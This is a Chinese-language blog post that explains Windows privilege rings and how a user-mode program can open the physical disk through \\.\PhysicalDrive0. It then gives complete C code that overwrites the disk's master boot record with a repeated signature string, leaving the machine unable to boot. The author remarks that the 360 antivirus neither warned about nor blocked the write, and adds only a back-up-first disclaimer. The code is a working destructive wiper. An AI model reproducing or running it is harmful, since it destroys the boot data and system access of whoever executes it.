C/C++用戶模式下改寫硬盤主引導記錄(MBR)

CPU一共有四種權限級別:ring0 ring1 ring2 ring3

Windows只是用了ring0和ring3

我們在使用電腦時,一般在ring3模式下工作。在ring3模式下,我們無法使用CPU特權指令inout。對系統所屬的數據,地址空間以及硬件也是有嚴格的限制的。

但是這對於操作系統來說是一件好事,可對於一些應用程序來說,就很無語了。

要想在ring3下完成這個任務,只能通過內核程序來進行使用。在Windows系統中,內核程序不受任何的限制,可以隨意存取系統所屬的數據,操作系統地址空間等。所以,開發內核程序必須要有嚴格的測試!

不過呢,想要在ring3級別下訪問硬盤,也是很簡單的!

那是因爲:

Windows 操作系統爲了自己編程方便,編寫了在用戶模式下調用的硬盤內核模式驅動程序,該程序在系統啓動時候自動裝載。我們只要掌握這個 Windows 內核模式的驅動程序,就可以直接在用戶模式下直接無阻礙訪問硬盤了。

不過想要掌握這個內核程序,也是很簡單。因爲:

硬盤內核驅動程序將硬盤作爲一個文件,文件名爲:"\\.\\physicaldrive0"

這樣,我們就可以通過這個文件名,使用 CreateFile, ReadFile, WriteFile 和 DeviceIoControl 這幾個API來進行訪問硬盤。


題外話:我在測試的時候發現了一個大問題。就是我用這個程序在改寫MBR的時候,我的360安全衛士竟然沒提示,也沒攔截!!!然後。。。。。額 就沒有然後了(因爲虛擬機跑不起來 所以我在真實機器上測試。幸虧備份MBR了)。。。。。

下面的代碼,請謹慎使用。使用前請先備份MBR。以防數據丟失。

如果出現事故,與本人無關!

#include <windows.h>

int main(void)
{
	//硬盤文件名
	LPCSTR DiskFileName="\\\\.\\PhysicalDrive0";
	//主引導記錄
	char code[]=
		"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
		"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 ->  "
		"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
		"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 ->  ";
	BYTE MBR[512];
	DWORD s=NULL,t=NULL;
	/* 文件句柄 */
	HANDLE handle=NULL;
	//構造MBR
	memcpy(MBR,code,sizeof(code)-1);
	//打開硬盤
	handle=CreateFileA(
		DiskFileName,
		GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		0,
		OPEN_EXISTING,
		0,
		0);
	if(handle==INVALID_HANDLE_VALUE)
	{
		//打開文件失敗
		MessageBoxA(NULL,(LPCSTR)"Can't Create File!",(LPCSTR)"error",MB_OK);
		return 0;
	}else{
		//寫入新的MBR
		WriteFile(handle,MBR,sizeof(MBR),&t,NULL);
		DeviceIoControl(handle,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&s,NULL);
		CloseHandle(handle);//關閉文件
		MessageBoxA(NULL,(LPCSTR)"successful",(LPCSTR)"ok",MB_OK);
		return 0;
	}
	return 0;
}


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章